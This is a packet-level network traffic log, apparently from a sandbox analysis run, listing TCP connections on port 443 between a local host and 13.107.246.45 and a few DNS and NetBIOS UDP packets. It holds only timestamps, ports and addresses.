Oct 30, 2024 02:28:40.957367897 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.957391977 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.957411051 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.957420111 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.961379051 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.961410046 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.961473942 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.961815119 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.961827993 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.980952978 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.981472969 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.981523037 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.982053041 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.982065916 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.109026909 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.109208107 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.109311104 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.109380960 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.109399080 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.109410048 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.109420061 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.112943888 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.113008022 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.113090992 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.113271952 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.113305092 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.245793104 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.246411085 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.246432066 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.246860027 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.246866941 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.248405933 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.248701096 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.248723030 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.249047995 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.249053001 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.374689102 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.374850988 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.374927998 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.374978065 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.374994993 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.375008106 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.375015020 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.377897978 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.377923965 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.378031969 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.379019022 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.379030943 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.380109072 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.380125046 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.380175114 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.380199909 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.380259991 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.380304098 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.380319118 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.380328894 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.380333900 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.382771015 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.382803917 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.382879019 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.383069992 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.383085012 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.668333054 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.669220924 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.669254065 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.669769049 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.669783115 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799052954 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799115896 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799205065 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.799236059 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799289942 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799350023 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.799561024 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.799561024 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.799593925 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.799617052 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.802716017 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.802758932 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.802905083 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.803150892 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.803160906 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.834975958 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.835576057 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.835608959 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.836019039 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.836030960 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.912996054 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.913508892 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.913526058 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.914082050 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.914087057 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.962973118 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.963000059 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.963063955 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.963119030 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.963119030 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.963432074 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.963458061 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.963485003 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.963499069 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.966434002 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.966464043 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:41.966531038 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.966710091 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:41.966723919 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.111218929 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.114624023 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.114641905 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.115056992 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.115071058 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.125217915 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.125633001 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.125644922 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.126267910 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.126271963 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171118021 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171205997 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171248913 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171309948 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.171333075 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171380997 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.171401024 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171401978 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.171432018 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171468019 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.171504021 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.171509981 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171586990 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.171638966 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.172044039 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.172053099 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.172082901 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.172087908 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.175493002 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.175537109 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.175612926 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.175800085 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.175813913 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.256917953 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.256952047 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.257025957 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.257055998 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.257103920 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.257287979 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.257294893 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.257317066 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.257458925 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.257489920 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.257530928 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.260085106 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.260114908 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.260217905 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.260396957 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.260411024 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.353223085 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.353286028 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.353331089 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.353369951 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.353380919 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.353421926 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.353451014 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361376047 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.361423016 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.361463070 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361470938 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.361499071 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361521959 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361579895 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.361633062 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361670017 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361680984 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.361690998 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.361695051 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.364284039 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.364312887 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.364423990 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.364609957 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.364628077 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.550509930 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.551086903 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.551103115 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.551541090 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.551544905 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.680891991 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.680941105 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.680998087 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.681005001 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.681062937 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.681113958 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.681139946 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.681149006 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.681159019 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.681164026 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.683938980 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.683954000 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.684115887 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.684298992 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.684310913 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.707042933 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.707452059 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.707467079 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.707842112 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.707849979 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.841835022 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.841928005 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.842001915 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.842137098 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.842152119 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.842164040 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.842171907 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.844609022 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.844666004 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.844753027 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.844871998 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.844886065 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.913477898 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.914063931 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.914088011 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:42.915185928 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:42.915193081 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.002727032 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.003161907 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.003182888 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.003571987 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.003576994 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.043530941 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.043688059 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.043807030 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.043884039 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.043900013 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.043912888 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.043920040 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.046789885 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.046827078 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.046925068 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.047131062 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.047148943 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.113842010 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.117175102 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.117206097 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.117784023 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.117790937 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.135668039 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.135735035 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.135806084 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.135952950 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.135965109 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.135976076 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.135979891 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.186254025 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.186323881 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.186517000 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.195422888 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.195457935 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.421093941 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.425524950 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.425543070 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.426162004 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.426166058 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.452311039 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.452491045 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.452584028 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.452795029 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.452817917 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.452831984 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.452838898 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.455497980 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.455533028 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.455615044 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.455769062 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.455785990 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.552947998 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.553024054 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.553133965 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.553137064 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.553400040 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.553412914 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.553423882 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.553427935 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.588875055 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.593525887 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.593570948 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.593975067 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.593990088 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.721123934 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.721268892 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.721379042 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.721630096 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.721672058 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.721700907 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.721715927 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.792067051 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.792613029 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.792629957 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.793032885 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.793040037 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.925731897 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.926167965 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.926232100 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.926629066 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.926642895 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.928064108 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.928222895 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:43.928277016 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.928373098 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:43.928390980 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:44.057529926 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:44.057610035 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:44.057852983 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:44.058022976 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:44.058022976 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:44.058042049 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:44.058053017 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.234042883 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.242872953 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.242906094 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.243475914 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.243483067 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.370601892 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.370862007 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:45.371037960 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.371037960 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.371037960 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.674962997 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:45.674988031 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 02:27:17.683820009 CET	138	138	192.168.2.4	192.168.2.255
Oct 30, 2024 02:27:18.185034037 CET	53	56133	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:18.207794905 CET	53	64126	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:18.336879969 CET	51108	53	192.168.2.4	1.1.1.1
Oct 30, 2024 02:27:18.337089062 CET	59785	53	192.168.2.4	1.1.1.1
Oct 30, 2024 02:27:18.343909025 CET	53	51108	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:18.344044924 CET	53	59785	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:19.504276991 CET	53	51183	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:22.846052885 CET	53	51305	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:22.982060909 CET	63456	53	192.168.2.4	1.1.1.1
Oct 30, 2024 02:27:22.982285976 CET	57663	53	192.168.2.4	1.1.1.1
Oct 30, 2024 02:27:22.989779949 CET	53	63456	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:22.989797115 CET	53	57663	1.1.1.1	192.168.2.4
Oct 30, 2024 02:27:23.755948067 CET	55363	53	192.168.2.4	1.1.1.1
